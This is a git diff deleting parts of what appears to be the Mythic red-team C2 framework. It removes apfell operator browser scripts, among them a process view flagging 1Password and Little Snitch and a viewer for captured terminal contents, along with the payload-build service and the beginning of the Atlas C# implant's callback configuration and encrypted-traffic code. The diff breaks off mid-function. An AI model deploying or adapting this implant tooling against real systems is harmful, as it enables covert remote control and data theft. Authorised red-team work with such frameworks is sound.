- let row_style = "";
- let cell_style = {};
- Object.keys(data).forEach(function(x){
- let r = data[x];
- let row_style = "";
- if(r['name'].includes("1Password")){row_style="background-color:green;color:white"}
- if(r['name'].includes("Term")){row_style="background-color:red;color:white"}
- if(r['name'].includes("Snitch")){row_style="background-color:red;color:white"}
- if(r['name'].includes("Slack")){row_style="background-color:blue;color:white"}
- rows.push({"pid": escapeHTML(r['process_id']),
- "name": escapeHTML(r['name']),
- "arch": escapeHTML(r['architecture']),
- "frontMost": escapeHTML(r['frontMost']),
- "bin_path": escapeHTML(r['bin_path']),
- "row-style": row_style,
- "cell-style": {"hidden": "text-align:center",
- "pid":"text-align:center"}
- });
- });
- }
- catch(error){
- "Error: " + error.toString() + "\n" + escapeHTML(JSON.stringify(response, null, 2)) + " ";
- }
- }
- return support_scripts['apfell_create_table']([{"name":"pid","size":"2em"},{"name":"arch","size":"2em"},{"name":"name", "size":"10em"}, {"name":"frontMost","size":"3em"},{"name":"bin_path","size":"20em"}], rows);
-}
diff --git a/Payload_Types/apfell/mythic/browser_scripts/ls.js b/Payload_Types/apfell/mythic/browser_scripts/ls.js
deleted file mode 100644
index 5e8216ea8..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/ls.js
+++ /dev/null
@@ -1,52 +0,0 @@
-function(task, responses){
- if(task.status === 'error'){
- return " Error: untoggle for error message(s) ";
- }else if(responses[0]['response'] === "added data to file browser"){
- return "added data to file browser ";
- }
- let rows = [];
- try{
- for(let i = 0; i < responses.length; i++){
- let data = JSON.parse(responses[i]['response']);
- let row_style = "";
- if( !data['is_file'] ){ row_style = "background-color: #5E28DC"}
- let row = {"name": escapeHTML(data['name']), "size": escapeHTML(data['size']), "row-style": row_style, "cell-style": {}};
- let perm_data = data['permissions'];
- let xattr = [];
- for(const [key, value] of Object.entries(perm_data)){
- if(key === "owner"){row['owner'] = escapeHTML(value);}
- else if(key === "group"){row['group'] = escapeHTML(value);}
- else if(key === "posix"){row['posix'] = escapeHTML(value);}
- else if(key.includes(".")){xattr.push(escapeHTML(key))}
- }
- row['xattr'] = xattr.join(" ");
- rows.push(row);
- if(!data.hasOwnProperty('files')){data['files'] = []}
- data['files'].forEach(function(r){
- let row_style = "";
- if( !r['is_file'] ){ row_style = "background-color: #5E28DC"}
- let row = {"name": escapeHTML(r['name']), "size": escapeHTML(r['size']), "row-style": row_style, "cell-style": {}};
- let perm_data = r['permissions'];
- let xattr = [];
- for(const [key, value] of Object.entries(perm_data)){
- if(key === "owner"){row['owner'] = escapeHTML(value);}
- else if(key === "group"){row['group'] = escapeHTML(value);}
- else if(key === "posix"){row['posix'] = escapeHTML(value);}
- else if(key.includes(".")){xattr.push(escapeHTML(key))}
- }
- row['xattr'] = xattr.join(" ");
- rows.push(row);
- });
- }
- return support_scripts['apfell_create_table']([
- {"name":"name", "size":"10em"},
- {"name":"size", "size":"2em"},
- {"name":"owner","size":"3em"},
- {"name":"group", "size": "2em"},
- {"name":"posix", "size":"2em"},
- {"name":"xattr", "size": "1em"}], rows);
- }catch(error){
- console.log(error);
- return " Error: untoggle for error message(s) ";
- }
-}
\ No newline at end of file
diff --git a/Payload_Types/apfell/mythic/browser_scripts/screenshot.js b/Payload_Types/apfell/mythic/browser_scripts/screenshot.js
deleted file mode 100644
index 83854817f..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/screenshot.js
+++ /dev/null
@@ -1,20 +0,0 @@
-function(task, responses){
- if(task.status === 'error'){
- return " Error: Untoggle swtich to see error message(s) ";
- }
- if(task.completed){
- try{
- let status = JSON.parse(responses[0]['response']);
- let id = status['agent_file_id'];
- let output = "";
- return output;
- }catch(error){
- return "Error: " + error.toString() + "\n" + escapeHTML(JSON.stringify(responses, null, 2)) + " ";
- }
- }
- if(task.status === 'processing' || task.status === "processed"){
- return " downloading pieces ... ";
- }
-}
diff --git a/Payload_Types/apfell/mythic/browser_scripts/terminals_read.js b/Payload_Types/apfell/mythic/browser_scripts/terminals_read.js
deleted file mode 100644
index 795bbd7ca..000000000
--- a/Payload_Types/apfell/mythic/browser_scripts/terminals_read.js
+++ /dev/null
@@ -1,26 +0,0 @@
-function(task, responses){
- let output = "";
- if(task.status === 'error'){
- return " Error: untoggle for error message(s) ";
- }
- for(let i = 0; i < responses.length; i++){
- try{
- let data = JSON.parse(responses[i]['response']);
- for (const [key, value] of Object.entries(data)) {
- output += '' +
- escapeHTML(key) + " with title: " + "\"" + escapeHTML(value['Name']) + "\""
- + '
';
- for(let j = 0; j < value['tabs'].length; j++){
- output += '' +
- "tab_" + escapeHTML(value['tabs'][j]['tab']) + " with title: " + "\"" + escapeHTML(value['tabs'][j]['CustomTitle'] )+ "\""
- + '
';
- output += "" + escapeHTML(value['tabs'][j]['Contents']) + " ";
- }
- }
- }
- catch(error){
- return "Error: " + error.toString() + "\n" + escapeHTML(JSON.stringify(responses, null, 2)) + " ";
- }
- }
- return output;
-}
diff --git a/Payload_Types/apfell/mythic/generate_docs_from_container.py b/Payload_Types/apfell/mythic/generate_docs_from_container.py
deleted file mode 100644
index 625847cc1..000000000
--- a/Payload_Types/apfell/mythic/generate_docs_from_container.py
+++ /dev/null
@@ -1,197 +0,0 @@
-#! /usr/env python3
-
-import sys
-import pathlib
-from importlib import import_module
-from CommandBase import *
-from PayloadBuilder import *
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + pathlib.Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-root = pathlib.Path(".")
-import_all_agent_functions()
-commands = []
-payload_type = {}
-for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=root).to_json()
- break
-for cls in CommandBase.__subclasses__():
- commands.append(cls(root).to_json())
-payload_type["commands"] = commands
-
-# now generate the docs
-root_home = root / payload_type["ptype"]
-if not root_home.exists():
- root_home.mkdir()
-if not (root_home / "c2_profiles").exists():
- (root_home / "c2_profiles").mkdir()
-if not (root_home / "commands").exists():
- (root_home / "commands").mkdir()
-# now to generate files
-with open(root_home / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "{payload_type['ptype']}"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-Overview
-
-### Highlighted Agent Features
-list of info here
-
-## Authors
-list of authors
-
-### Special Thanks to These Contributors
-list of contributors
-"""
- )
-with open(root_home / "c2_profiles" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `{payload_type['ptype']}` specifics for the supported C2 profiles.
-"""
- )
-with open(root_home / "development.md", "w") as f:
- f.write(
- f"""+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Info for ideal dev environment or requirements to set up environment here
-
-## Adding Commands
-
-Info for how to add commands
-- Where code for commands is located
-- Any classes to call out
-
-## Adding C2 Profiles
-
-Info for how to add c2 profiles
-- Where code for editing/adding c2 profiles is located
-"""
- )
-with open(root_home / "opsec.md", "w") as f:
- f.write(
- f"""+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-Info here
-
-### Post-Exploitation Jobs
-Info here
-
-### Remote Process Injection
-Info here
-
-### Process Execution
-Info here"""
- )
-with open(root_home / "commands" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# {payload_type['ptype']} Command Reference
-These pages provide in-depth documentation and code samples for the `{payload_type['ptype']}` commands.
-"""
- )
-payload_type["commands"] = sorted(payload_type["commands"], key=lambda i: i["cmd"])
-for i in range(len(payload_type["commands"])):
- c = payload_type["commands"][i]
- cmd_file = c["cmd"] + ".md"
- with open(root_home / "commands" / cmd_file, "w") as f:
- f.write(
- f"""+++
-title = "{c['cmd']}"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-{c['description']}
-- Needs Admin: {c['needs_admin']}
-- Version: {c['version']}
-- Author: {c['author']}
-
-### Arguments
-
-"""
- )
- for a in c["parameters"]:
- f.write(
- f"""#### {a['name']}
-
-- Description: {a['description']}
-- Required Value: {a['required']}
-- Default Value: {a['default_value']}
-
-"""
- )
- f.write(
- f"""## Usage
-
-```
-{c['help_cmd']}
-```
-
-"""
- )
- if len(c["attack"]) > 0:
- f.write(
- f"""## MITRE ATT&CK Mapping
-"""
- )
- for a in c["attack"]:
- f.write(
- f"""
-- {a['t_num']} """
- )
-
- f.write(
- f"""
-## Detailed Summary
-
-"""
- )
diff --git a/Payload_Types/apfell/mythic/mythic_service.py b/Payload_Types/apfell/mythic/mythic_service.py
deleted file mode 100755
index 8c4ee8460..000000000
--- a/Payload_Types/apfell/mythic/mythic_service.py
+++ /dev/null
@@ -1,308 +0,0 @@
-#!/usr/bin/env python3
-import aio_pika
-import os
-import sys
-import traceback
-import base64
-import json
-import asyncio
-import socket
-from CommandBase import *
-from PayloadBuilder import *
-from pathlib import Path
-from importlib import import_module, invalidate_caches
-
-# set the global hostname variable
-hostname = ""
-output = ""
-exchange = None
-container_files_path = ""
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", command="", status="", username=""):
- global exchange
- # status is success or error
- try:
- message_body = aio_pika.Message(message.encode())
- # Sending the message
- await exchange.publish(
- message_body,
- routing_key="pt.status.{}.{}.{}.{}".format(
- hostname, command, status, username
- ),
- )
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: pt.task.PAYLOAD_TYPE.command
- pieces = message.routing_key.split(".")
- command = pieces[3]
- username = pieces[4]
- if command == "create_payload_with_code":
- try:
- # pt.task.PAYLOAD_TYPE.create_payload_with_code.UUID
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- # go through all the data from rabbitmq to make the proper classes
- c2info_list = []
- for c2 in message_json["c2_profile_parameters"]:
- params = c2.pop("parameters", None)
- c2info_list.append(
- C2ProfileParameters(parameters=params, c2profile=c2)
- )
- commands = CommandList(message_json["commands"])
- for cls in PayloadType.__subclasses__():
- agent_builder = cls(
- uuid=message_json["uuid"],
- agent_code_path=Path(container_files_path),
- c2info=c2info_list,
- commands=commands,
- wrapped_payload=message_json["wrapped_payload"],
- )
- try:
- await agent_builder.set_and_validate_build_parameters(
- message_json["build_parameters"]
- )
- build_resp = await agent_builder.build()
- except Exception as b:
- resp_message = {
- "status": "error",
- "message": "Error in agent creation: "
- + str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- return
- # we want to capture the build message as build_resp.get_message()
- # we also want to capture the final values the agent used for creating the payload, so collect them
- build_instances = agent_builder.get_build_instance_values()
- resp_message = {
- "status": build_resp.get_status().value,
- "message": build_resp.get_message(),
- "build_parameter_instances": build_instances,
- "payload": base64.b64encode(build_resp.get_payload()).decode(
- "utf-8"
- ),
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
-
- except Exception as e:
- resp_message = {
- "status": "error",
- "message": str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- elif command == "command_transform":
- try:
- # pt.task.PAYLOAD_TYPE.command_transform.taskID
-
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- final_task = None
- for cls in CommandBase.__subclasses__():
- if getattr(cls, "cmd") == message_json["command"]:
- Command = cls(Path(container_files_path))
- task = MythicTask(
- message_json["task"],
- args=Command.argument_class(message_json["params"]),
- )
- await task.args.parse_arguments()
- await task.args.verify_required_args_have_values()
- final_task = await Command.create_tasking(task)
- await send_status(
- str(final_task),
- "command_transform",
- "{}.{}".format(final_task.status.value, pieces[4]),
- username,
- )
- break
- if final_task is None:
- await send_status(
- "Failed to find class where command_name = "
- + message_json["command"],
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- except Exception as e:
- await send_status(
- "[-] Mythic error while creating/running create_tasking: \n"
- + str(e),
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- return
- elif command == "sync_classes":
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(
- agent_code_path=Path(container_files_path)
- ).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(
- json.dumps(payload_type), "sync_classes", "success", username
- )
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error.{}".format(pieces[4]),
- username,
- )
- else:
- print("Unknown command: {}".format(command))
-
-
-async def sync_classes():
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=Path(container_files_path)).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(json.dumps(payload_type), "sync_classes", "success", "")
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error",
- "",
- )
- sys.exit(1)
-
-
-async def heartbeat():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the mythic server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="pt.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = os.path.abspath(main_config["container_files_path"])
- if not os.path.exists(container_files_path):
- os.makedirs(container_files_path)
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(1)
- try:
- channel = await connection.channel()
- # declare our exchange
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
- # bind the queue to the exchange so we can actually catch messages
- await queue.bind(
- exchange="mythic_traffic", routing_key="pt.task.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=100)
- print(" [*] Waiting for messages in mythic_service.")
- task = queue.consume(callback)
- await sync_classes()
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print(str(e))
-
-
-# start our service
-loop = asyncio.get_event_loop()
-asyncio.gather(heartbeat(), mythic_service())
-loop.run_forever()
diff --git a/Payload_Types/apfell/mythic/payload_service.sh b/Payload_Types/apfell/mythic/payload_service.sh
deleted file mode 100755
index 00627848a..000000000
--- a/Payload_Types/apfell/mythic/payload_service.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-#!/bin/bash
-
-cd /Mythic/mythic
-
-export PYTHONPATH=/Mythic:/Mythic/mythic
-
-python3.8 mythic_service.py
diff --git a/Payload_Types/apfell/mythic/rabbitmq_config.json b/Payload_Types/apfell/mythic/rabbitmq_config.json
deleted file mode 100755
index 08581c01a..000000000
--- a/Payload_Types/apfell/mythic/rabbitmq_config.json
+++ /dev/null
@@ -1,8 +0,0 @@
-{
- "username": "mythic_user",
- "password": "mythic_password",
- "virtual_host": "mythic_vhost",
- "host": "127.0.0.1",
- "name": "hostname",
- "container_files_path": "/Mythic/"
-}
\ No newline at end of file
diff --git a/Payload_Types/atlas/Dockerfile b/Payload_Types/atlas/Dockerfile
deleted file mode 100755
index fbe17663c..000000000
--- a/Payload_Types/atlas/Dockerfile
+++ /dev/null
@@ -1 +0,0 @@
-From itsafeaturemythic/csharp_payload:0.0.6
\ No newline at end of file
diff --git a/Payload_Types/atlas/agent_code/Atlas.csproj b/Payload_Types/atlas/agent_code/Atlas.csproj
deleted file mode 100755
index 2c6580652..000000000
--- a/Payload_Types/atlas/agent_code/Atlas.csproj
+++ /dev/null
@@ -1,93 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}
- Exe
- Atlas
- Atlas
- v4.0
- 512
- true
-
-
- AnyCPU
- true
- full
- false
- .\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- .\
- TRACE
- prompt
- 4
-
-
- true
- .\
- DEBUG;TRACE
- full
- x64
- 7.3
- prompt
- MinimumRecommendedRules.ruleset
-
-
- .\
- TRACE
- true
- pdbonly
- x64
- 7.3
- prompt
- MinimumRecommendedRules.ruleset
-
-
- true
- .\
- DEBUG;TRACE
- full
- x86
- 7.3
- prompt
- MinimumRecommendedRules.ruleset
-
-
- .\
- TRACE
- true
- pdbonly
- x86
- 7.3
- prompt
- MinimumRecommendedRules.ruleset
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Payload_Types/atlas/agent_code/Atlas.sln b/Payload_Types/atlas/agent_code/Atlas.sln
deleted file mode 100755
index ea056639f..000000000
--- a/Payload_Types/atlas/agent_code/Atlas.sln
+++ /dev/null
@@ -1,32 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio Version 16
-VisualStudioVersion = 16.0.30128.74
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Atlas", "Atlas.csproj", "{91F7A9DA-F045-4239-A1E9-487FFDD65986}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- Release|Any CPU = Release|Any CPU
- Release|x64 = Release|x64
- Release|x86 = Release|x86
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Release|Any CPU.Build.0 = Release|Any CPU
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Release|x86.ActiveCfg = Release|x86
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Release|x86.Build.0 = Release|x86
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Release|x64.ActiveCfg = Release|x64
- {91F7A9DA-F045-4239-A1E9-487FFDD65986}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
- GlobalSection(ExtensibilityGlobals) = postSolution
- SolutionGuid = {C05DCD78-C70F-4281-8B71-E5810D2B85A7}
- EndGlobalSection
-EndGlobal
diff --git a/Payload_Types/atlas/agent_code/Config.cs b/Payload_Types/atlas/agent_code/Config.cs
deleted file mode 100755
index 94939187c..000000000
--- a/Payload_Types/atlas/agent_code/Config.cs
+++ /dev/null
@@ -1,37 +0,0 @@
-using System;
-using System.Collections.Generic;
-namespace Atlas
-{
- public class Config
- {
- public static List CallbackHosts = new List { "callback_host:callback_port" };
- public static List Servers = new List { };
- public static string PayloadUUID = "%UUID%";
- public static string UUID = "";
- public static string UserAgent = "USER_AGENT";
- public static string HostHeader = "domain_front";
- public static int Sleep = Int32.Parse("callback_interval");
- public static int Jitter = Int32.Parse("callback_jitter");
- public static string KillDate = "killdate";
- public static string Param = "query_path_name";
- public static int ChunkSize = Int32.Parse("%CHUNK_SIZE%");
- public static bool DefaultProxy = bool.Parse("%DEFAULT_PROXY%");
- public static string ProxyAddress = "proxy_host:proxy_port";
- public static string ProxyUser = "proxy_user";
- public static string ProxyPassword = "proxy_pass";
- public static string GetUrl = "/get_uri";
- public static string PostUrl = "/post_uri";
-
-#if (Default_PSK || DEFAULT_EKE)
- public static string Psk = "AESPSK";
-#else
- public static string Psk = "";
-#endif
-#if DEFAULT_EKE
- public static string SessionId = "";
- public static string tempUUID = "";
- public static System.Security.Cryptography.RSACryptoServiceProvider Rsa;
-#endif
- public static Dictionary Modules = new Dictionary();
- }
-}
\ No newline at end of file
diff --git a/Payload_Types/atlas/agent_code/Crypto.cs b/Payload_Types/atlas/agent_code/Crypto.cs
deleted file mode 100755
index f4ac81fce..000000000
--- a/Payload_Types/atlas/agent_code/Crypto.cs
+++ /dev/null
@@ -1,305 +0,0 @@
-using System;
-using System.Text;
-using System.Security.Cryptography;
-using System.IO;
-using System.Linq;
-
-namespace Atlas
-{
- class Crypto
- {
-#if (DEFAULT_EKE || HTTP_EKE)
- ///
- /// Encrypt any given plaintext with the PSK given
- /// to the agent.
- ///
- /// Plaintext to encrypt.
- /// Enrypted string.
- public static string EncryptStage(string plaintext)
- {
- using (Aes aes = Aes.Create())
- {
- // Use our PSK (generated in Apfell payload config) as the AES key
- aes.Key = Convert.FromBase64String(Config.Psk);
- aes.Padding = PaddingMode.PKCS7;
- ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
-
- using (MemoryStream encryptMemStream = new MemoryStream())
- using (CryptoStream encryptCryptoStream = new CryptoStream(encryptMemStream, encryptor, CryptoStreamMode.Write))
- {
- using (StreamWriter encryptStreamWriter = new StreamWriter(encryptCryptoStream))
- encryptStreamWriter.Write(plaintext);
- // We need to send uuid:iv:ciphertext:hmac
- // Concat iv:ciphertext
- byte[] encrypted = aes.IV.Concat(encryptMemStream.ToArray()).ToArray();
- HMACSHA256 sha256 = new HMACSHA256(Convert.FromBase64String(Config.Psk));
- // Attach hmac to iv:ciphertext
- byte[] hmac = sha256.ComputeHash(encrypted);
- // Attach uuid to iv:ciphertext:hmac
- byte[] final = Encoding.UTF8.GetBytes(Config.PayloadUUID).Concat(encrypted.Concat(hmac).ToArray()).ToArray();
- // Return base64 encoded ciphertext
- return Convert.ToBase64String(final);
- }
- }
- }
-#endif
-#if (DEFAULT_PSK || DEFAULT_EKE || HTTP_PSK || HTTP_EKE)
- ///
- /// Encrypt any given plaintext with the PSK given
- /// to the agent.
- ///
- /// Plaintext to encrypt.
- /// Enrypted string.
- public static string EncryptCheckin(string plaintext)
- {
- using (Aes aes = Aes.Create())
- {
- // Use our PSK (generated in Apfell payload config) as the AES key
- aes.Key = Convert.FromBase64String(Config.Psk);
- aes.Padding = PaddingMode.PKCS7;
- ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
-
- using (MemoryStream encryptMemStream = new MemoryStream())
- using (CryptoStream encryptCryptoStream = new CryptoStream(encryptMemStream, encryptor, CryptoStreamMode.Write))
- {
- using (StreamWriter encryptStreamWriter = new StreamWriter(encryptCryptoStream))
- encryptStreamWriter.Write(plaintext);
- // We need to send uuid:iv:ciphertext:hmac
- // Concat iv:ciphertext
- byte[] encrypted = aes.IV.Concat(encryptMemStream.ToArray()).ToArray();
- HMACSHA256 sha256 = new HMACSHA256(Convert.FromBase64String(Config.Psk));
- // Attach hmac to iv:ciphertext
- byte[] hmac = sha256.ComputeHash(encrypted);
- // Attach uuid to iv:ciphertext:hmac
-#if (DEFAULT_EKE || HTTP_EKE)
- byte[] final = Encoding.UTF8.GetBytes(Config.tempUUID).Concat(encrypted.Concat(hmac).ToArray()).ToArray();
-#else
- byte[] final = Encoding.UTF8.GetBytes(Config.PayloadUUID).Concat(encrypted.Concat(hmac).ToArray()).ToArray();
-#endif
- // Return base64 encoded ciphertext
- return Convert.ToBase64String(final);
- }
- }
- }
-
- ///
- /// Encrypt any given plaintext with the PSK given
- /// to the agent.
- ///
- /// Plaintext to encrypt.
- /// Enrypted string.
- public static string Encrypt(string plaintext)
- {
- using (Aes aes = Aes.Create())
- {
- // Use our PSK (generated in Apfell payload config) as the AES key
- aes.Key = Convert.FromBase64String(Config.Psk);
- aes.Padding = PaddingMode.PKCS7;
- ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
-
- using (MemoryStream encryptMemStream = new MemoryStream())
- using (CryptoStream encryptCryptoStream = new CryptoStream(encryptMemStream, encryptor, CryptoStreamMode.Write))
- {
- using (StreamWriter encryptStreamWriter = new StreamWriter(encryptCryptoStream))
- encryptStreamWriter.Write(plaintext);
- // We need to send uuid:iv:ciphertext:hmac
- // Concat iv:ciphertext
- byte[] encrypted = aes.IV.Concat(encryptMemStream.ToArray()).ToArray();
- HMACSHA256 sha256 = new HMACSHA256(Convert.FromBase64String(Config.Psk));
- // Attach hmac to iv:ciphertext
- byte[] hmac = sha256.ComputeHash(encrypted);
- // Attach uuid to iv:ciphertext:hmac
- byte[] final = Encoding.UTF8.GetBytes(Config.UUID).Concat(encrypted.Concat(hmac).ToArray()).ToArray();
- // Return base64 encoded ciphertext
- return Convert.ToBase64String(final);
- }
- }
- }
-
- ///
- /// Decrypt a string which has been encrypted with the PSK.
- ///
- /// The encrypted string.
- ///
- public static string Decrypt(string encrypted)
- {
- byte[] input = Convert.FromBase64String(encrypted);
-
- int uuidLength = Config.PayloadUUID.Length;
- // Input is uuid:iv:ciphertext:hmac, IV is 16 bytes
- byte[] uuidInput = new byte[uuidLength];
- Array.Copy(input, uuidInput, uuidLength);
-
- byte[] IV = new byte[16];
- Array.Copy(input, uuidLength, IV, 0, 16);
-
- byte[] ciphertext = new byte[input.Length - uuidLength - 16 - 32];
- Array.Copy(input, uuidLength + 16, ciphertext, 0, ciphertext.Length);
-
- HMACSHA256 sha256 = new HMACSHA256(Convert.FromBase64String(Config.Psk));
- byte[] hmac = new byte[32];
- Array.Copy(input, uuidLength + 16 + ciphertext.Length, hmac, 0, 32);
-
- if (Convert.ToBase64String(hmac) == Convert.ToBase64String(sha256.ComputeHash(IV.Concat(ciphertext).ToArray())))
- {
- using (Aes aes = Aes.Create())
- {
- // Use our PSK (generated in Apfell payload config) as the AES key
- aes.Key = Convert.FromBase64String(Config.Psk);
- aes.Padding = PaddingMode.PKCS7;
- ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, IV);
-
- using (MemoryStream decryptMemStream = new MemoryStream(ciphertext))
- using (CryptoStream decryptCryptoStream = new CryptoStream(decryptMemStream, decryptor, CryptoStreamMode.Read))
- using (StreamReader decryptStreamReader = new StreamReader(decryptCryptoStream))
- {
- string decrypted = decryptStreamReader.ReadToEnd();
- // Return decrypted message from Apfell server
- return Encoding.UTF8.GetString(uuidInput) + decrypted;
- }
- }
- }
- else
- {
- return "";
- }
- }
-#endif
-#if (DEFAULT_EKE || HTTP_EKE)
- public static void GenRsaKeys()
- {
-
- Config.Rsa = new RSACryptoServiceProvider(4096)
- {
- PersistKeyInCsp = false
- };
- }
-
- public static byte[] RsaDecrypt(byte[] Data)
- {
- Config.Rsa.ImportParameters(Config.Rsa.ExportParameters(true));
- byte[] final = Config.Rsa.Decrypt(Data, true);
- return final;
- }
-
- public static string GetPubKey()
- {
- StringWriter outStream = new StringWriter();
- ExportPublicKey(Config.Rsa, outStream);
- return Convert.ToBase64String(Encoding.UTF8.GetBytes(outStream.ToString()));
- }
-
- // https://stackoverflow.com/questions/28406888/c-sharp-rsa-public-key-output-not-correct/28407693#28407693
- private static void ExportPublicKey(RSACryptoServiceProvider csp, TextWriter outputStream)
- {
- var parameters = csp.ExportParameters(false);
- using (var stream = new MemoryStream())
- {
- var writer = new BinaryWriter(stream);
- writer.Write((byte)0x30); // SEQUENCE
- using (var innerStream = new MemoryStream())
- {
- var innerWriter = new BinaryWriter(innerStream);
- innerWriter.Write((byte)0x30); // SEQUENCE
- EncodeLength(innerWriter, 13);
- innerWriter.Write((byte)0x06); // OBJECT IDENTIFIER
- var rsaEncryptionOid = new byte[] { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01 };
- EncodeLength(innerWriter, rsaEncryptionOid.Length);
- innerWriter.Write(rsaEncryptionOid);
- innerWriter.Write((byte)0x05); // NULL
- EncodeLength(innerWriter, 0);
- innerWriter.Write((byte)0x03); // BIT STRING
- using (var bitStringStream = new MemoryStream())
- {
- var bitStringWriter = new BinaryWriter(bitStringStream);
